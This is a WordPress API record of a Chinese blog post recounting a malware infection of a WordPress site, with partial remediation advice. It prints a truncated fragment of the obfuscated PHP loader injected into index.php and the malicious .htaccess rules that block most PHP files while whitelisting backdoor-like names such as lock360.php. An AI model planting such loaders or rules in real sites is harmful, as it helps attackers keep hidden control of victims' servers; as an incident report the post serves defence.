{"id":8962,"date":"2021-06-01T00:36:30","date_gmt":"2021-05-31T16:36:30","guid":{"rendered":"https:\/\/blog.naibabiji.com\/?p=8962"},"modified":"2021-06-01T00:40:20","modified_gmt":"2021-05-31T16:40:20","slug":"htaccess-virus","status":"publish","type":"post","link":"https:\/\/blog.naibabiji.com\/skill\/htaccess-virus.html","title":{"rendered":"\u8bb0\u4e00\u6b21WordPress\u7f51\u7ad9.htaccess\u6587\u4ef6\u611f\u67d3\u75c5\u6bd2"},"content":{"rendered":"<p>\u4eca\u5929\u78b0\u5230\u4e00\u4e2a\u6bd4\u8f83\u5389\u5bb3\u7684\u75c5\u6bd2\uff0c\u4f1a\u81ea\u52a8\u611f\u67d3\u7f51\u7ad9\u76ee\u5f55\u4e0b\u9762\u7684index.php\u548c.htaccess\u7b49\u6587\u4ef6\uff0c\u611f\u67d3\u4e4b\u540e\u7f51\u7ad9\u6253\u4e0d\u5f00\uff0c\u5176\u4ed6\u7684\u5f71\u54cd\u4e0d\u6e05\u695a\uff0c\u8fd9\u91cc\u8bb0\u5f55\u4e00\u4e0b\u75c5\u6bd2\u5206\u6790\u548c\u89e3\u51b3\u65b9\u6cd5\u3002<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" width=\"543\" height=\"275\" class=\"alignnone wp-image-8963 size-full\" src=\"https:\/\/edgeone.naibabiji.com\/wp-content\/uploads\/2021\/06\/Pasted-into-\u8bb0\u4e00\u6b21WordPress\u7f51\u7ad9.htaccess\u6587\u4ef6\u611f\u67d3\u75c5\u6bd2.png\" \/><\/p>\n<p>&nbsp;<\/p>\n<p><strong>\u75c5\u6bd2\u5177\u4f53\u60c5\u51b5\uff1a<\/strong><\/p>\n<p>\u9996\u5148\uff0c\u5728index.php\u6587\u4ef6\u4f1a\u63d2\u5165\u4e00\u5927\u4e32\u52a0\u5bc6\u7684\u4ee3\u7801\uff1a<\/p>\n<pre>&lt;php\r\n$O_O_O_0O00=urldecode(\"%6f%41%2d%62%4e%6e%4b%37%4c%35%5f%4a%55%74%52%78%49%59%2b%57%43%61%39%33%56%6b%30%77%4d%31%4f%65%53%44%64%42%32%6a%2f%6c%73%58%66%71%70%68%6d%2a%54%47%76%51%48%72%50%79%63%5c%34%7a%75%46%36%69%5a%67%38%45\");$O0_0O__0OO=$O_O_O_0O00[44].$O_O_O_0O00[53].$O_O_O_0O00[31].$O_O_O_0O00[65].$O_O_O_0O00[10].$O_O_O_0O00[53].$O_O_O_0O00[31].$O_O_O_0O00[44].$O_O_O_0O00[39].$O_O_O_0O00[21].$O_O_O_0O00[56].$O_O_O_0O00[31].$O_O_O_0O00[10].$O_O_O_0O00[56].$O_O_O_0O00[21<\/pre>\n<p><img loading=\"lazy\" decoding=\"async\" width=\"679\" height=\"636\" class=\"alignnone wp-image-8964 size-full\" src=\"https:\/\/edgeone.naibabiji.com\/wp-content\/uploads\/2021\/06\/Pasted-into-\u8bb0\u4e00\u6b21WordPress\u7f51\u7ad9.htaccess\u6587\u4ef6\u611f\u67d3\u75c5\u6bd2-1.png\" \/><\/p>\n<p>\u7136\u540e.htaccess\u6587\u4ef6\u4f1a\u4e00\u76f4\u88ab\u4e32\u6539\u4e3a\u4e0b\u9762\u8fd9\u6837\u7684\uff1a<\/p>\n<pre>&lt;FilesMatch \".(py|exe|php)$\"&gt;\r\nOrder allow,deny\r\nDeny from all\r\n&lt;\/FilesMatch&gt;\r\n&lt;FilesMatch \"^(about.php|radio.php|index.php|content.php|lock360.php|admin.php|wp-login.php)$\"&gt;\r\nOrder allow,deny\r\nAllow from all\r\n&lt;\/FilesMatch&gt;\r\n&lt;IfModule mod_rewrite.c&gt;\r\nRewriteEngine On\r\nRewriteBase \/\r\nRewriteRule ^index\\.php$ - [L]\r\nRewriteCond %{REQUEST_FILENAME} !-f\r\nRewriteCond %{REQUEST_FILENAME} !-d\r\nRewriteRule . \/index.php [L]\r\n&lt;\/IfModule&gt;<\/pre>\n<p>\u8fd9\u4e2a\u88ab\u75c5\u6bd2\u611f\u67d3\u7684\u7f51\u7ad9\u4f7f\u7528\u7684\u662fcPanel\u7684\u865a\u62df\u4e3b\u673a\uff0c\u6bd4\u8f83\u5947\u602a\u7684\u662f\u6211\u628a\u6839\u76ee\u5f55\u6240\u6709\u6587\u4ef6\u5220\u5b8c\uff0c\u7136\u540e\u5237\u65b0\uff0c\u4f9d\u7136\u4f1a\u81ea\u52a8\u751f\u6210\u75c5\u6bd2\u6587\u4ef6\uff0c\u4e0d\u660e\u539f\u56e0\uff0c\u6240\u4ee5\u76f4\u63a5\u7ed9\u6362\u4e86\u4e00\u53f0\u670d\u52a1\u5668\u5b89\u88c5\u7684\uff0c\u4e00\u5207\u6b63\u5e38\u4e86\u3002<\/p>\n<p>\u4eceWordPress\u5b98\u65b9\u8bba\u575b\u641c\u5230\u7684\u4fe1\u606f\u6765\u770b\uff0c\u8fd9\u4e2a\u75c5\u6bd2\u5927\u6982\u51e0\u4e2a\u6708\u4e4b\u524d\u5c31\u5f00\u59cb\u6709\u4eba\u78b0\u5230\u4e86\uff0c\u4e0d\u8fc7\u6ca1\u6709\u660e\u786e\u7684\u89e3\u51b3\u65b9\u6848\uff0c\u4e07\u5e78\u7684\u662f\u8fd9\u4e2a\u75c5\u6bd2\u4e0d\u611f\u67d3\u6570\u636e\u5e93\uff0c\u6240\u4ee5\u91cd\u88c5WordPress\u53ef\u4ee5\u5e72\u6389\u8fd9\u4e2a\u75c5\u6bd2\uff08\u53ef\u80fd\u8fd8\u9700\u8981\u91cd\u88c5\u670d\u52a1\u5668\u7cfb\u7edf\u6216\u8005\u66f4\u6362\u4e00\u4e2a\u670d\u52a1\u5668\uff09\u3002<\/p>\n<p>\u53e6\u5916\u7f51\u4e0a\u6709\u4e00\u4e2a\u65b9\u6cd5\u6211\u6ca1\u6d4b\u8bd5\uff0c\u5148\u505c\u7528PHP\u8fdb\u7a0b\uff0c\u7136\u540e\u5220\u9664\u88ab\u611f\u67d3\u7684\u6587\u4ef6\uff0c\u7136\u540e\u91cd\u65b0\u542f\u7528PHP\uff0c\u4f60\u53ef\u4ee5\u8bd5\u4e00\u8bd5\u3002<\/p>\n\n\n<div class=\"kk-star-ratings kksr-auto kksr-align-center kksr-valign-bottom\"\n    data-payload='{&quot;align&quot;:&quot;center&quot;,&quot;id&quot;:&quot;8962&quot;,&quot;slug&quot;:&quot;default&quot;,&quot;valign&quot;:&quot;bottom&quot;,&quot;ignore&quot;:&quot;&quot;,&quot;reference&quot;:&quot;auto&quot;,&quot;class&quot;:&quot;&quot;,&quot;count&quot;:&quot;2&quot;,&quot;legendonly&quot;:&quot;&quot;,&quot;readonly&quot;:&quot;&quot;,&quot;score&quot;:&quot;5&quot;,&quot;starsonly&quot;:&quot;&quot;,&quot;best&quot;:&quot;5&quot;,&quot;gap&quot;:&quot;4&quot;,&quot;greet&quot;:&quot;\u7ed9\u672c\u6587\u6253\u5206 post&quot;,&quot;legend&quot;:&quot;5\\\/5 - (2 votes)&quot;,&quot;size&quot;:&quot;24&quot;,&quot;title&quot;:&quot;\u8bb0\u4e00\u6b21WordPress\u7f51\u7ad9.htaccess\u6587\u4ef6\u611f\u67d3\u75c5\u6bd2&quot;,&quot;width&quot;:&quot;138&quot;,&quot;_legend&quot;:&quot;{score}\\\/{best} - ({count} {votes})&quot;,&quot;font_factor&quot;:&quot;1.25&quot;}'>\n            \n<div class=\"kksr-stars\">\n    \n<div class=\"kksr-stars-inactive\">\n            <div class=\"kksr-star\" data-star=\"1\" style=\"padding-right: 4px\">\n            \n\n<div class=\"kksr-icon\" style=\"width: 24px; height: 24px;\"><\/div>\n        <\/div>\n            <div class=\"kksr-star\" data-star=\"2\" style=\"padding-right: 4px\">\n            \n\n<div class=\"kksr-icon\" style=\"width: 24px; height: 24px;\"><\/div>\n        <\/div>\n            <div class=\"kksr-star\" data-star=\"3\" style=\"padding-right: 4px\">\n            \n\n<div class=\"kksr-icon\" style=\"width: 24px; height: 24px;\"><\/div>\n        <\/div>\n            <div class=\"kksr-star\" data-star=\"4\" style=\"padding-right: 4px\">\n            \n\n<div class=\"kksr-icon\" style=\"width: 24px; height: 24px;\"><\/div>\n        <\/div>\n            <div class=\"kksr-star\" data-star=\"5\" style=\"padding-right: 4px\">\n            \n\n<div class=\"kksr-icon\" style=\"width: 24px; height: 24px;\"><\/div>\n        <\/div>\n    <\/div>\n    \n<div class=\"kksr-stars-active\" style=\"width: 138px;\">\n            <div class=\"kksr-star\" style=\"padding-right: 4px\">\n            \n\n<div class=\"kksr-icon\" style=\"width: 24px; height: 24px;\"><\/div>\n        <\/div>\n            <div class=\"kksr-star\" style=\"padding-right: 4px\">\n            \n\n<div class=\"kksr-icon\" style=\"width: 24px; height: 24px;\"><\/div>\n        <\/div>\n            <div class=\"kksr-star\" style=\"padding-right: 4px\">\n            \n\n<div class=\"kksr-icon\" style=\"width: 24px; height: 24px;\"><\/div>\n        <\/div>\n            <div class=\"kksr-star\" style=\"padding-right: 4px\">\n            \n\n<div class=\"kksr-icon\" style=\"width: 24px; height: 24px;\"><\/div>\n        <\/div>\n            <div class=\"kksr-star\" style=\"padding-right: 4px\">\n            \n\n<div class=\"kksr-icon\" style=\"width: 24px; height: 24px;\"><\/div>\n        <\/div>\n    <\/div>\n<\/div>\n                \n\n<div class=\"kksr-legend\" style=\"font-size: 19.2px;\">\n            5\/5 - (2 votes)    <\/div>\n    <\/div>\n","protected":false},"excerpt":{"rendered":"<p>\u4eca\u5929\u78b0\u5230\u4e00\u4e2a\u6bd4\u8f83\u5389\u5bb3\u7684\u75c5\u6bd2\uff0c\u4f1a\u81ea\u52a8\u611f\u67d3\u7f51\u7ad9\u76ee\u5f55\u4e0b\u9762\u7684index.php\u548c.htaccess\u7b49\u6587\u4ef6\uff0c\u611f\u67d3\u4e4b\u540e\u7f51\u7ad9 [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"slim_seo":{"title":"\u8bb0\u4e00\u6b21WordPress\u7f51\u7ad9.htaccess\u6587\u4ef6\u611f\u67d3\u75c5\u6bd2 - \u5976\u7238\u5efa\u7ad9\u7b14\u8bb0","description":"\u4eca\u5929\u78b0\u5230\u4e00\u4e2a\u6bd4\u8f83\u5389\u5bb3\u7684\u75c5\u6bd2\uff0c\u4f1a\u81ea\u52a8\u611f\u67d3\u7f51\u7ad9\u76ee\u5f55\u4e0b\u9762\u7684index.php\u548c.htaccess\u7b49\u6587\u4ef6\uff0c\u611f\u67d3\u4e4b\u540e\u7f51\u7ad9\u6253\u4e0d\u5f00\uff0c\u5176\u4ed6\u7684\u5f71\u54cd\u4e0d\u6e05\u695a\uff0c\u8fd9\u91cc\u8bb0\u5f55\u4e00\u4e0b\u75c5\u6bd2\u5206\u6790\u548c\u89e3\u51b3\u65b9\u6cd5\u3002 &nbsp; \u75c5\u6bd2\u5177\u4f53\u60c5\u51b5\uff1a \u9996\u5148\uff0c\u5728index.php\u6587\u4ef6\u4f1a\u63d2\u5165\u4e00\u5927\u4e32\u52a0\u5bc6\u7684\u4ee3\u7801\uff1a \u7136\u540e.htaccess\u6587\u4ef6\u4f1a\u4e00\u76f4\u88ab\u4e32\u6539\u4e3a\u4e0b\u9762\u8fd9\u6837\u7684\uff1a \u8fd9\u4e2a\u88ab\u75c5\u6bd2"},"footnotes":""},"categories":[142],"tags":[],"class_list":["post-8962","post","type-post","status-publish","format-standard","hentry","category-skill"],"_links":{"self":[{"href":"https:\/\/blog.naibabiji.com\/wp-json\/wp\/v2\/posts\/8962","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.naibabiji.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.naibabiji.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.naibabiji.com\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.naibabiji.com\/wp-json\/wp\/v2\/comments?post=8962"}],"version-history":[{"count":0,"href":"https:\/\/blog.naibabiji.com\/wp-json\/wp\/v2\/posts\/8962\/revisions"}],"wp:attachment":[{"href":"https:\/\/blog.naibabiji.com\/wp-json\/wp\/v2\/media?parent=8962"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.naibabiji.com\/wp-json\/wp\/v2\/categories?post=8962"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.naibabiji.com\/wp-json\/wp\/v2\/tags?post=8962"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}